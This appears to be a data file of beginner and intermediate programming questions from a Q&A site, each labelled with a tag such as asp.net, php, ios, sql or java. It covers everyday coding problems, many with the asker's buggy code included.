where i can download or regenerate my microsoft certificate   i m not sure if i should ask this question on this forum.    in 2010 i pass  microsoft .net framework  application development foundation (70-536)  exam. this is really old exam.    i m tired with login to different subdomain  *.microsoft.com  and search for this certificate. where i can find functionality to download certificate  it is possible that the data about passed exam is missing on my account          where is support for that stuffs     sorry for my english.,.net
displaying only weekdays  i m creating a website in asp.net.    i need to display dates in labels(any control) in the below format.(only weekdays).    for example:       on 8/9/2016  day display like <strong> 8/9/2016 to 8/15/2016  </strong>  <br> on 8/10/2016  day display like <strong>8/9/2016 to 8/15/2016</strong><br> on 8/11/2016  day display like <strong>8/9/2016 to 8/15/2016</strong><br> on 8/12/2016  day display like <strong>8/9/2016 to 8/15/2016</strong><br> on 8/13/2016  day display like <strong>8/9/2016 to 8/15/2016</strong><br> on 8/14/2016  day display like <strong>8/9/2016 to 8/15/2016</strong><br> on 8/15/2016  day display like <strong>8/9/2016 to 8/15/2016</strong>     later on      on 8/16/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/17/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/18/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/19/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/20/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/21/2016  day display like <strong>8/16/2016 to 8/22/2016</strong><br> on 8/22/2016  day display like <strong>8/16/2016 to 8/22/2016</strong>        could anyone please help with any logic. let me know if your not clear.,asp.net
why do we place jquery in the header   every tutorial i come across says to make sure you call jquery in the header:   <pre><code>&lt;script language= javascript  src= http://code.jquery.com/jquery-1.7.min.js &gt;&lt;/script&gt; </code></pre>   even if you only want to use it on one page. why would you want jquery to sit in your header and load on every page of your website if you only want to use it on one     i m a noob so just asking.,jquery
using postrequesthandlerexecute  flush and close to clean up after a request - why is this bad   after some requests i need to clean up after the user - by calling a remote web service to release some resources if i guess the user doesn t need them anymore. it is ok to leave them hanging and letting them time out on the other server  but the polite thing to do is to inform it that i do not need them anymore.    i do not want to waste the users time waiting for cleaning - so i tried to find place to put it. first i tried application_endrequest  but i needed something later. then i found postrequesthandlerexecute which seemed like a nice place  but i still need a flush and close to release the connection to the user.    <strong>this don t work on my server only when debugging in visual studio 2008!</strong>    on the server pages become blank - if i remove the flush and close it works  but the user has to wait for the cleanup.    <pre><code>protected sub application_postrequesthandlerexecute(byval sender as object  byval e as system.eventargs)         response.flush()         response.close()            simulation of clean up activity:         system.threading.thread.sleep(4000)   really a couple of web service calls end sub </code></pre>   is there some other place i could put these lengthy clean up routines  is spawning another thread a better solution,asp.net
wildcard filename in schema.ini   was wondering if there was a way to put a wildcard in the schema.ini for example [*.txt] fmt=tabdelimited    i ve got an app that is imported tab delimited files and the only place i can seem to get the fmt= tabdelimited  is in the schema.ini (doesn t work in the connection string for some reason)  but i will have no idea what the filenames are other than the txt extension.    btw i m connecting using an odbcconnection and the microsoft text driver.,.net
"get class context from prototype.object  here s an example. i want to get the animal context inside animal.skills.kick(). how i can implement this     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function animal(name) {
   this.name = name;
 }
 
 animal.prototype.run = function() {
   console.log( ..running )
 }
 
 animal.prototype.skills = {
   kick: function() {
     console.log(this)
   }
 }
 
 var animal = new animal( rabbit );
 
 animal.skills.kick()</code></pre>
 </div>
 </div>",javascript
$ is not defined on my javascript with multple function and ajax inside each function  im am using microsoft edge in the scenario.    i as able to successfully do a single function with a ajax syntax with this code:   <pre><code>&lt;script&gt;     document.getelementbyid( inputeventid ).onchange = function () { myfunction() };      function myfunction() {         $.ajax({         type:  post           url:  webfetchmax.php           data: {             eventid: form.eventid.value         }          success: function (response) {             $( #divslots ).html(response);         }     });     } &lt;/script&gt; </code></pre>   however when i insert addition functions with their on ajax inside the function i am receiving <em>$ is not defined</em> error <em>function monitoroccupy()</em> as shown below:   <pre><code>&lt;script&gt;     document.getelementbyid( inputeventid ).onchange = function () { myfunction() };      monitoroccupy();     monitoravail();     function monitoroccupy() {         $.ajax({         type:  post           url:  webfetchmax.php           data: {             eventid: form.eventid.value         }          success: function (response) {              $( #oslots ).html(response);         }          complete: function() {             settimeout(monitoroccupy 1000);         }     });     }     function monitoravail() {     }      function myfunction() {         $.ajax({         type:  post           url:  webfetchmax.php           data: {             eventid: form.eventid.value         }          success: function (response) {             $( #divslots ).html(response);         }     });     } &lt;/script&gt; </code></pre>   i have no idea my is this error is showing up on my console.,javascript
how to find a file recursively in folders using php   how to find a file in folders with sub name of the file means the file need to be searched is not fully named but it is a part of the name for example i want to search the file namely  hello_world_123.png . i did not enter full name of the file but one or some words only  for example the  world_  is my input but the code should search the full name of file.    in short the searching may work like operating system s search in file explorer or file manager.    my code as below but i am stuck with matching the name of file in if condition.    <pre><code>$file_name_ =  recursive-1.php ; $dir = new recursivedirectoryiterator( $folder_path  recursivedirectoryiterator::skip_dots); $it = new recursiveiteratoriterator($dir);    foreach($it as $file) {           $file_info = pathinfo($file);             $patt =  /^(\w+)\.+( .$file_name_. )\.+(\w+)*$/ ;     $result = preg_match($patt strtolower( $file_info[ basename ] ) $match );            if ( $result ) {             echo  file found ;     } else {          echo  file not found ;     } } </code></pre>,php
program not working correctly  when i enter 10 in the input  the program comes out like this:     <code>enter item number: 10</code>    <code>enter unit price: enter purchase date (mm/dd/yy): item unit purchase</code>    <code>price date</code>    <code>10 $0.000 /32764/-572332368</code>    do i have to create a txt file and enter the input values    <pre><code>#include&lt;stdio.h&gt;  int main (void)  {          int item_number  month  day  year;         float unit_price;          printf( enter item number:  );         scanf( %d   &amp;item_number);          printf( enter unit price:  );         scanf( $%f   &amp;unit_price);          printf( enter purchase date (mm/dd/yy):  );         scanf( d%/d%/d%   &amp;month  &amp;day  &amp;year);          printf( item unit purchase\n );         printf( price date\n );         printf( %-d $%.2f%-02d/%02d/%02d\n   item_number  unit_price  month  day  year);    return 0;  } </code></pre>,c
fault in readline() or condition  i am getting a problem in my code. i created a program which creates an account  saves username and password in a .txt file. then asks for login and it checks whether the username and password is corrent or not. but everytime the else condition is executing. and i am getting output  you don  have any account . please help. thanks in advance.               <pre><code># myprogram: account verification   print  \ncreate account:\n  f = open( data.txt   w+ )  def create():     user_name = raw_input( enter username &gt;&gt;  )     password = raw_input( enter password &gt;&gt;  )     confirm = raw_input( enter password to confirm &gt;&gt;  )     if password == confirm:         f.write(user_name+ \n +password)         f.close()         print  account created      else:         print  \npassword not matched\n\n enter details again:\n          create()  create()   new = open( data.txt ) un = new.readline() pw = new.readline()  new.close()  def login():     print  \nlogin:\n      name = raw_input( enter username &gt;&gt;  )     if name == un:         pas = raw_input( enter password &gt;&gt;  )         if pas == pw:             print  welcome!          else:             print  wrong password              login()                     else:         print  you don t have any account    login()      </code></pre>,python
dereferencing pointer to incomplete type c  well  i m getting this error and couldn t identify when i m trying acess the fields.    in my bnum.c  i have the declaration of my struct:   <pre><code>    #include  bnum.h       struct num {       char *vet;       int tam;     }; </code></pre>   and in my bnum.h  i have:   <pre><code>    typedef struct num *b_num; </code></pre>   and in the main file i have:   <pre><code>    #include bnum.h      int main(void){     b_num b;     b-&gt;tam = 5; </code></pre>   i m using gcc on linux mint.,c
how to detect which uitableviewcell is at the top of a uitableview  i have a view with a map and and list displayed at the same time.  i would like the map to move when the user scrolls the list.       i was hoping for something like    <pre><code>(uitableview*)tableview didscrolltableviewcelltotop:(uitableviewcell *)cell </code></pre>   i haven t found something that will support this yet.    thanks in advance,ios
php-fpm config - include more tahn on globbed path  i know the php-fpm.conf  include-...  directive can have a globbed value like   <pre><code>include=/etc/php-fpm.d/*.conf </code></pre>   but how can i also have an other globbed path that should be included like  /chroots/www_<em>/etc/php-fpm.d/</em>.conf     is the  include=...  directive a comma separated value  like:   <pre><code>include=/etc/php-fpm.d/*.conf /chroots/www_*/etc/php-fpm.d/*.conf </code></pre>   or colon separated  like    <pre><code>include=/etc/php-fpm.d/*.conf:/chroots/www_*/etc/php-fpm.d/*.conf </code></pre>   or is is it possible to use more that one globbed path at all     thanks  alex.,php
how to tidy code from an html perspective without it actually being html in sublime 2   all the plugins i have seen thus far first check for the extension of the file that is currently open  then clean the markup with respect to the extension  and thus the language. but in my case  i mostly work with html  and i usually paste code from other sources into sublime. i don t want to constantly save this code as extra html files in order to clean its formatting. any suggestions,html
getting wrong value in custom uitableviewcell  hello all i am implementing a chat messenger.  i am facing a strange situation. i have a custom tableview cell it works perfectly fine when i scroll normally. but if i scroll very fast like a crazy man the images of users get mixed. i cannot figure put what can be the reason any help fellows  and thx in advance    <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     uicolor *rung;     if (indexpath.row%2 == 0) {       //  0.662745 0.662745 0.662745         rung=[uicolor colorwithred:0.802745 green:0.802745 blue:0.802745 alpha:1];         color=no;     }     else {        // 0.972549 0.972549 1     //0.411765 0.411765 0.411765         rung=[uicolor colorwithred:0.862745 green:0.862745 blue:0.862745 alpha:1];         color=yes;     }        //static nsstring *myidentifier = @ identifier ;     nslog(@ ====indexpath is %d  indexpath.row);      chatslidedc *slide = [[hmmainmanager getsharedinstance].currentmeeting.resumedchatmessages objectatindex:indexpath.section];      chatmessagedc *message;      message = [[slide chatmessagearray]objectatindex:indexpath.row];     nslog(@ ====message type is %@  message.messagetype);     nslog(@ %@  message.message);     if ([message.messagetype isequaltostring: @ 0 ] || [message.messagetype isequaltostring:@ 1 ]) {         chatcustomcell * cell = (chatcustomcell *) [tableview dequeuereusablecellwithidentifier:@ chatcustomcell ];          if (cell == nil) {              nsarray *nib = [[nsbundle mainbundle] loadnibnamed:@ chatcustomcell  owner:self options:nil];             cell = (chatcustomcell*)[nib objectatindex:0];             }     //    cell.backgroundimage.backgroundcolor=rung;         uiview *view = [[uiview alloc] initwithframe:cgrectzero];         view.backgroundcolor = rung;         view.opaque = yes;         cell.backgroundview = view;         [view release];         //cell.backgroundcolor=rung;         cell.lblsaid.text =@ said ;         cell.lblname.text =message.sendername;         cell.lbltext.text =message.message;           nslog(@ manager strid: %@ chat cell attendeeid %@  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.attendeeid);         nslog(@ %@ == %@  message.attendeeid [hmmainmanager getsharedinstance].currentmeeting.strattendeeid);         if ([message.attendeeid isequaltostring:[hmmainmanager getsharedinstance].currentmeeting.strattendeeid]) {             cell.imgthumbuserpic.image = [mainmanager getsharedinstance].usermanager.userimage;         }          cell.selectionstyle = uitableviewcelleditingstylenone;    //     [message release];         return cell;     }     if ([message.messagetype isequaltostring:@ 2 ] || [message.messagetype isequaltostring:@ 3 ] ) {         if ([message.messagetype isequaltostring:@ 3 ] || (message.question &amp;&amp; [message.question length]&gt;0)) {             //show asnwer cell             answercustomcell * cell = (answercustomcell *) [tableview dequeuereusablecellwithidentifier:@ answercustomcell ];              if (cell == nil)              {                               nsarray *nib = [[nsbundle mainbundle] loadnibnamed:@ answercustomcell  owner:self options:nil];                 cell = (answercustomcell*)[nib objectatindex:0];             }             uiview *view = [[uiview alloc] initwithframe:cgrectzero];             view.backgroundcolor = rung;             view.opaque = yes;             cell.backgroundview = view;             [view release];             //answer here goes             cell.answerdby.text = message.sendername;             cell.answertext.text = message.message;             [cell.answertext flashscrollindicators];              //question             cell.questionedby.text = message.questionby;             cell.questiontext.text = message.question;             [cell.questiontext flashscrollindicators];              nslog(@ %@  message.messageid);              nslog(@ manager strid: %@ ans cell attendeeid %@  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.attendeeid);               if ([message.attendeeid isequaltostring:[hmmainmanager getsharedinstance].currentmeeting.strattendeeid]) {            //     if ([message.sendername isequaltostring:compname] ) {                     nslog(@ ----------:: %@ == %@ and message:%@  message.attendeeid  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.message);                 cell.anspic.image = [mainmanager getsharedinstance].usermanager.userimage;            // }             }              nslog(@ manager strid: %@ ans cell attendeeid %@  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.questionid);  //            nsstring *qustwalaid=[[hmmainmanager getsharedinstance].currentmeeting.questiondict objectforkey:message.questionid];   //            nslog(@ %@  questiondict);             if ([message.questionattendeeid isequaltostring:[hmmainmanager getsharedinstance].currentmeeting.strattendeeid])              {         //        if ([message.questionby isequaltostring:compname] ) {                  nslog(@ ------------:: %@ == %@ and message:%@  message.questionattendeeid  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.message);                  cell.quepic.image = [mainmanager getsharedinstance].usermanager.userimage;           //  }             }            // tempchatmessagedc=message;           //  tempanswercustomcell=cell;     //        [message release];             return cell;         }         else {             //show question cell              questioncustomcell * cell = (questioncustomcell *) [tableview dequeuereusablecellwithidentifier:@ questioncustomcell ];              if (cell == nil) {                 nsarray *nib = [[nsbundle mainbundle] loadnibnamed:@ questioncustomcell  owner:self options:nil];                 cell = (questioncustomcell*)[nib objectatindex:0];             }             uiview *view = [[uiview alloc] initwithframe:cgrectzero];             view.backgroundcolor = rung;             view.opaque = yes;             cell.backgroundview = view;             [view release];             cell.lblsaid.text =@ asked ;             cell.lblname.text =message.sendername;              nslog(@ question is %@   message.question);              cell.lbltext.text =message.message;             [cell.lbltext flashscrollindicators]; //            cell.lblanswerquestion.hidden = no;             if (!message.answered) {                 cell.lblanswerquestion.hidden = no;                 cell.userinteractionenabled = yes;             }else {                 cell.lblanswerquestion.hidden = yes;                 cell.userinteractionenabled = no;             }  //            cell.userinteractionenabled = yes;             [[hmmainmanager getsharedinstance].currentmeeting.questiondict setobject:message.attendeeid forkey:message.messageid];               nsmutabledictionary *tmpdoct=[hmmainmanager getsharedinstance].currentmeeting.questiondict ;      //       [questiondict setobject:message.attendeeid forkey:message.messageid];             nslog(@ %@  tmpdoct );             nslog(@ manager strid: %@ ques cell attendeeid %@  [hmmainmanager getsharedinstance].currentmeeting.strattendeeid message.attendeeid);              if ([message.attendeeid isequaltostring:[hmmainmanager getsharedinstance].currentmeeting.strattendeeid]) {                 cell.imgthumbuserpic.image = [mainmanager getsharedinstance].usermanager.userimage;             }              cell.tvanswer.delegate = self;              nsmutablestring* finalsec = [nsstring stringwithformat:@ %d  indexpath.section];              for (nsinteger x=0; x&lt;3; x++) {                  if (finalsec.length &lt;3) {                     finalsec = [nsstring stringwithformat:@ 0%@  finalsec];                 }              }              nslog(@ %@   finalsec);              nsstring* tag = [nsstring stringwithformat:@ %d%@  indexpath.row+1  finalsec];               nslog(@ tag value %d  [tag intvalue]);              cell.btnanswer.tag = [tag intvalue];//indexpath.row + 1000 + indexpath.section;             cell.tvanswer.tag = [tag intvalue];             cell.selectionstyle = uitableviewcelleditingstylenone;             [cell.btnanswer addtarget:self action:@selector(answerbuttonpressed:) forcontrolevents:uicontroleventtouchupinside];      //        [message release];             return cell;          }      }  //   [message release];     return nil; } </code></pre>,ios
rails link_to not downcasing  i can t understand why this code:   <pre><code>&lt;%= link_to string.downcase!  string.downcase! %&gt; </code></pre>   produces this html:   <pre><code>&lt;a href= /string &gt;string&lt;/a&gt; </code></pre>   i tried downcase with and without  !   no difference.,ruby-on-rails
redirecting the user to a page in a different directory in an asp.net application  i am working on asp.net that has 2 folders/directories named <code>test1</code> and <code>test2</code>.    how can i redirect the user from test1 to test2     i get a 404 error with this code:   <pre><code>if (!user.isinrole( admin )){     response.redirect( ../test2/login.asxp ); } </code></pre>,asp.net
can t access file via php script  but can open it in browser  i have an url with rss feed:   <pre><code>$url =  http://www.myurl.com/sth format=rss ; </code></pre>   i can open it in a browser without a problem. but    <pre><code>$feed-&gt;load($url)  </code></pre>   returned  false . so i started investigating:   <pre><code>$ch = curl_init($file); curl_setopt($ch  curlopt_nobody  true); curl_exec($ch); $retcode = curl_getinfo($ch  curlinfo_http_code);            print curl_error($ch); // prints  couldn t connect to host  echo  code:  .$retcode; // $retcode is 0  $file_headers = get_headers($file); echo $file_headers[0]; // is null </code></pre>   so  what can be the reason for such behaviour  is some port blocked on myurl.com server  is there a way to work around it (like create local copy of the file and work on it),php
about disabling page parent page & go only clicking sub entities click  i have a website with a menu &amp; different sub-entities in a page  that means sub entity pages under a parent page  i want to disable parent page  that means when i click parent page goes nowhere  only goes when clicking on sub-entity pages .. let me know  how i can do that  i m working on wordpress  i need this asap please ..,html
sql: multiple column and rows comparison and finding the exact match  i have the scenario where i need to find a prefix which matches all the rows and columns under that prefix. please see the below example to find out how the comparison to work.    my expectation is to find a matching prefix (but not in same name of prefix) which matches all the rows and columns from the 2nd table.    what is the best possible way to write a query to serve this purpose.    table1:   <pre><code>accm_pfx     accum_no     accm_value --------     --------     ---------- aa00         1            a aa00         3            b bb00         2            a </code></pre>   table2:   <pre><code>accm_pfx     accum_no     accm_value --------     --------     ---------- cc00         1            a cc00         3            b ee00         1            a ee00         2            b ee00         3            c dd00         9            b </code></pre>  <hr>   expected result:   <pre><code>table1.accm_pfx   matching_accm_pfx     table1.accum_no     table1.accm_value --------          ---------------       ----------          ---------- aa00              cc00                  1                   a aa00              cc00                  3                   b </code></pre>,sql
how to changing the border of li with li:hover in internet explorer  im having problems getting some css to work in internet explorer- works fine in chrome but when i try it in ie-    <pre><code>.menu li:hover {     border-bottom:10px solid #80b1dd !important; } </code></pre>   i dont have any border on it to start with- any workarounds,css
how to write query for delete then update  i have two table person and person history. both table structure is same...   <pre><code>person table ------------ id  name active 1   raj   1 2   arivu 0  person history table ------------------- id name active 1  raj   1 2  arivu  0 </code></pre>   i delete record from history table not in person table.. update the person table column active 3.... for example output like   <pre><code>person history ----------- id name active ------------- 1 raj 1 </code></pre>   then   <pre><code>person  ----- id name active ----------------- 1 raj 1 2 arivu 2 </code></pre>,sql
how can i break line in text container  how to break line in this code:   <pre><code>if (imagetextcontainer.length &gt; 0) {     imagetextcontainer.text(imageitem.text +imageitem.dec); } </code></pre>   how to get this result:   <pre><code>imageitem.text &lt;/br&gt; imageitem.dec  </code></pre>   i have this code::   <pre><code>{     image :  &lt; php bloginfo( template_directory );  &gt;/pictures/1.jpg        alt :  picture 1       dec :  rockstar games       text :  grand theft auto san andres\r\n  } </code></pre>   <code>\r\n</code> it s not work only echo space,jquery
favicon not displaying  i am developing a site in php. the favicon is not displaying in chrome and ie9.    i tried is:   <pre><code> &lt;link rel= icon  href= ../images/favicon.ico  /&gt;  </code></pre>   which works in firefox.,html
find value using id from webbrowser and put it in text box in c#  i am trying to get the value of an id from a website and put that into a textbox.    the website code looks like this:   <pre><code>&lt;input type= hidden  id= recaptcha-token  value= 03ahj_vuur2vbfwfblvwo0xyfl7hkbay1-t5m21_0sv41kwmq0ujsfq-juhimrljcajvaumdncovi3mpsfzz2_npw2lsiyegmezkhf1qjcq_wtwwr4ujjfsbn6tozy1v01unliqqvyr-q6z3spin-zlbtp_gmiihj_2zggkwedeki6cwwt397ielj2mblntwmd2uv8atcynktiwmhiz7jcchoubhxznmtovvuo9-5vnarmrypmbmxpagu8qa9pccu_jml5v0dvuzhnsssrscg_hsw7foo_ubxvcpxaazfdomtje4xtcmc8toeutqjjgj1ktu4hhzy6cxcjpcvqtaqqwh8pszapgdlsxp-ccjbdgxcgaqwyrkhrrcofrf_qcegfdw_3osxg652j62lh86zhpfmldyewrmvzpwlkwmocdoutgv3wknjhwra &gt; </code></pre>   i m trying to get the part after value=. i m not very good at coding but any help would be appreciated.,c#
widget starting a service also starts main activity  i have a widget that is supposed to start and stop a service (start it when it s not running  stop it when it is). this is working fine  however  each time the service is started  my app s main activity is also launched  which i don t want. if i remove the main-intent-filter (  <code>&lt;action android:name= android.intent.action.main  /&gt;<br>   &lt;category android:name= android.intent.category.launcher  /&gt;</code>) from the app s manifest  it works as i want it to (without launching the main-activity  just the service)  but then i obviously don t have a main activity anymore...    this is how i start the service (i would assume this is the normal way  and i can t see any reference to what might cause the main intent to fire):   <pre><code>intent svc = new intent(this  onoffservice.class); startservice(svc); </code></pre>   thanks <br> nick,android
ios - background uploading of photos  i want to create an app which will automatically upload new photos in the camera roll to my webservice. just like the auto-upload functionality of the new flickr app. currently i m investigating how to set this up properly.     the new background functions of ios 7 can make this happen i guess. but is it for example possible to initiate a background transfer service from a background fetch  or are the fetches disabled if the app isn t opened regularly  in that case  how does flickr do this,ios
displaying tostrings to jtextarea  much like the title says  i am having trouble with displaying strings to the jtextarea. so basically i have methods that return a tostring  and when i select a button  i want the jtextarea to display the tostring. i am fairly new to guis but i was certain that i was supposed to use: settext() however it does not work. is there any possible solutions to this or perhaps a way to make the textarea display what i need. hopefully this makes sense  here is my code (just the part i am having trouble with  the whole thing would be too long):   <pre><code>import javax.swing.*; import java.awt.*; import java.awt.event.actionevent; import java.awt.event.actionlistener; import javax.swing.joptionpane; import javax.swing.border.border; import javax.swing.border.compoundborder;  public class testobjects extends jframe {  catalog catalog = new catalog(); book book = new book(); author a = new author();  jpanel textbox = new jpanel(); jtextarea textarea = new jtextarea(25  50);  private jbutton btnaddbook = new jbutton( add book ); private jbutton btnaddauthor = new jbutton( add author ); private jradiobutton btnshowallbooks = new jradiobutton( all books ); private jradiobutton btnallauthors = new jradiobutton( all authors ); private jradiobutton btnshowinlibrary = new jradiobutton( books in library ); private jradiobutton btnshowlost = new jradiobutton( lost books );  private jradiobutton btnshowloaned = new jradiobutton( loaned books );  jlabel title = new jlabel( title:  ); jlabel yearpublished = new jlabel( year published:  ); jlabel publishername = new jlabel( publisher:  ); jlabel isbn = new jlabel( isbn number:  ); jlabel authfirstname = new jlabel( author first name:  ); jlabel authlastname = new jlabel( author last name:  ); jtextfield titlefield = new jtextfield(24); jtextfield yearfield = new jtextfield(24); jtextfield publisherfield = new jtextfield(24); jtextfield isbnfield = new jtextfield(24); jtextfield firstfield = new jtextfield(20); jtextfield lastfield = new jtextfield(20);   buttongroup allbuttons = new buttongroup();   private jradiobutton btnbookref = new jradiobutton( book reference ); private jradiobutton btnprintreferences = new jradiobutton( all book references );    public testobjects() { super( library ); this.setlayout(new flowlayout());  //adding the labels along with their textfields add(title  borderlayout.center); add(titlefield borderlayout.center); add(yearpublished  borderlayout.center); add(yearfield  borderlayout.center); add(publishername  borderlayout.center); add(publisherfield  borderlayout.center); add(isbn  borderlayout.center); add(isbnfield  borderlayout.center); add(authfirstname); add(firstfield  borderlayout.center); add(authlastname); add(lastfield  borderlayout.center);  //adding the buttons add(btnaddbook  borderlayout.center); add(btnaddauthor  borderlayout.center); add(btnshowallbooks  borderlayout.center); add(btnallauthors  borderlayout.center); add(btnshowinlibrary  borderlayout.center); add(btnshowloaned  borderlayout.center); add(btnshowlost  borderlayout.center); add(btnprintreferences  borderlayout.center); add(btnbookref  borderlayout.center);  //grouping the buttons allbuttons.add(btnshowallbooks); allbuttons.add(btnallauthors); allbuttons.add(btnshowinlibrary); allbuttons.add(btnshowloaned); allbuttons.add(btnshowlost); allbuttons.add(btnprintreferences); allbuttons.add(btnbookref);  //adding the textarea to the new panel and setting its location textbox.setlayout(new borderlayout()); textbox.add(textarea  borderlayout.south); textarea.seteditable(false); add(textarea); add(textbox);  //adding the buttons and radiobuttons to the actionlistener buttonhandler b = new buttonhandler(); btnaddbook.addactionlistener(b); btnaddauthor.addactionlistener(b); btnshowallbooks.addactionlistener(b); btnallauthors.addactionlistener(b); btnshowinlibrary.addactionlistener(b); btnshowloaned.addactionlistener(b); btnshowlost.addactionlistener(b);  }//end test objects constructor  private class buttonhandler implements actionlistener{  public void actionperformed(actionevent e) {       if(e.getsource() == btnaddbook) {             titlefield.settext(book.gettitle());             yearfield.settext(book.getyearpublished());             publisherfield.settext(book.getpublishername());             isbnfield.settext(book.getisbn());     }//end btnaddbook      if(e.getsource() == btnaddauthor) {         firstfield.settext(a.getfirstname());         lastfield.settext(a.getlastname());      }//end btnaddauthor      if(e.getsource() == btnshowallbooks) {          textarea.settext(catalog.showallbooks());       }//end btnshowallbooks      if(e.getsource() == btnallauthors) {          textarea.settext(book.listauthors());      }//end btnallauthors      if(e.getsource() == btnshowinlibrary) {          textarea.settext(catalog.showinlibrary());      }//end btnshowinlibrary      if(e.getsource() == btnshowloaned) {          textarea.settext(catalog.showloaned());      }//end btnshowloaned      if(e.getsource() == btnshowlost) {          textarea.settext(catalog.showlost());      }//end btnshowlost      if(e.getsource() == btnprintreferences) {          textarea.settext(catalog.showreference());      }//end btnprintreference      if(e.getsource() == btnbookref) {          textarea.settext(book.printreferences());      }//end btnbookref  }//end actionperformed  }//end buttonhandler  public static void main(string args[]) {  testobjects frame = new testobjects(); frame.setdefaultcloseoperation(exit_on_close); frame.setsize(750 750); frame.setlocationrelativeto(null); frame.setvisible(true);  }//end main   }//end class </code></pre>   here is my catalog class:   <pre><code>import java.awt.component; import java.awt.graphics; import java.util.*; import javax.*; import javax.swing.jlabel; import javax.swing.jpanel;  public class catalog {  arraylist&lt;book&gt; books;   public catalog() {     books = new arraylist&lt;book&gt;(); }//end constructor  public void addbook(book b) {      books.add(b);  }//end addbook  public string showallbooks() {          stringbuilder sb = new stringbuilder();     for(book b : books) {         sb.append(b.gettitle() + b.getstatus());     }     return sb.tostring(); }   public string showlost() {  stringbuilder sb = new stringbuilder(); for(book b : books) {     sb.append(b.gettitle() + b.getstatus().lost);     }     return sb.tostring();  }//end showlost  public string showinlibrary() {      stringbuilder sb = new stringbuilder();     for(book b : books) {         sb.append(b.gettitle() + b.getstatus().inlibrary);     }     return sb.tostring();  }//end showinlibrary  public string showloaned() {      stringbuilder sb = new stringbuilder();     for(book b : books) {         sb.append(b.gettitle() + b.getstatus().onloan);     }     return sb.tostring();  }//end showloaned  public string showreference() {  stringbuilder sb = new stringbuilder(); for(int i = 0; i &lt; books.size(); i++) {     book thisbook = books.get(i); sb.append(thisbook.printreferences()); } return sb.tostring(); } }//end class </code></pre>   and finally  here is my book class:   <pre><code>import java.util.arraylist;  public class book {   arraylist&lt;author&gt; authors = new arraylist&lt;author&gt;(); private string yearpublished; private status status; private string title  isbn  publishername;  public status getstatus() {     return this.status; }//end getstatus  public book() {     title = null;     isbn = null;     yearpublished = null;     publishername = null;     status = null; }//end book constructor  public book(string title  string publishername  string yearpublished  status status  string isbn) {      this.title = title;     this.publishername = publishername;     this.yearpublished = yearpublished;     this.status = status;     this.isbn = isbn;  }//end book constructor   public void loan() {     status = status.onloan; }//end loan   public void inlibrary() {     status = status.inlibrary; }//end inlibrary   public void lost() {     status = status.lost; }//end lost   public void addauthor(author a) {     authors.add(a);  }//end addauthor   public string listauthors() {     stringbuilder sb = new stringbuilder();     for(int i = 0; 9 &lt; authors.size(); i++) {         sb.append(authors.get(i));         if(i != authors.size() - 1)             sb.append(system.lineseparator());  }     return authors.tostring(); }//end listauthors  public string printreferences() {     stringbuilder sb = new stringbuilder();     for(int i = 0; i &lt; authors.size(); i++) {         author a = authors.get(i);         string firstname = a.getfirstname();         string lastname = a.getlastname();          if(firstname.length() &gt; 0) {             sb.append(firstname.substring(0  1));         sb.append(  .  );      }     sb.append(lastname);     sb.append(    );     }     sb.append(title);     sb.append( .  );     sb.append(yearpublished);     sb.append( . );     return sb.tostring();  }//end printreferences  public string gettitle() {     return title;  }  public string getpublishername() {     return publishername;  }  public string getyearpublished() {     return yearpublished;  }  public string getisbn() {     return isbn;  }    }//end class </code></pre>   again  does the settext() not work in this case  why not  and how can i solve this issue,java
distinct pairs mysql  i need to find distinct pairs(x y) from a table consisting 2 columns(x  y). the numbers which are repeated in the column shouldn t be included in the result set.    table:   <pre><code>x y 1 2 2 3 3 4 4 4 5 2 5 6 7 9 </code></pre>   result set:   <pre><code>x y 2 3 7 9 </code></pre>   5 repeated in x and 2 4 in y  so they will not form pairs with the corresponding y and x. the question was asked to me in an interview. not able to find a solution. need a query for this. please help!,mysql
converting a sequential number to a date  converting a number to a date.  i am converting isam files to sql files and having issues with dates.  my dates are a sequential number starting with 1/1/20 as 1.  so today (3/2/17) is stored as 35491.  i want to store the dates in sql as a real date (yyyy-mm-dd).  how would i go about doing that,sql
download button in app  has anyone seen ipad greeting cards app... what they have done is released the app with some limited greeting cards and now user can download the other cards from web by paying some amt.... i want to implement such functionality .. has anyone any idead about that.. i know that can be implemented by taking image from url recieved data and saving that image in app.... but i dnt know how i will establish connection between app and web that paricular user has paid the amount and so now card can be downladed into his app and also where will that card be saved whether in userbundle or somewhere else...please give me some direction....,iphone
receive and return the averaging with a function   i had a test  that i failed in the c language:   <ol> <li>create 10 random numbers.  </li> <li>take the highest value.  </li> <li>take the lowest value.  </li> <li>make a function that will receive the two values and return the averaging number. </li> </ol>   and i have no idea how to make the 2. 3. and 4. conditions so please if anyone could give me the code and maybe a little explanation so i can study it i would be really grateful thanks.<br> english is not my native language so sorry if it is badly written.    i only have the 1. condition:          <pre><code>#include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  #include &lt;time.h&gt;   int main() {      int a  b;      srand(time(null));      for (a = 1; a &lt;= 10; a += 1) {          b = rand() % 10 + 1;          printf( %d    b);      }      return 0;  } </code></pre>,c
html code to put image in left and text in right side of screen with footer below   this is what my page should look like -    <pre><code>--------header (will put code to load header from external site here) --image on left side - text on right side. --------footer ((will put code to load footer from external site here)) </code></pre>   how can i do this  i am actually looking for a template where all i have to do is place my image  text and header and footer code.,html
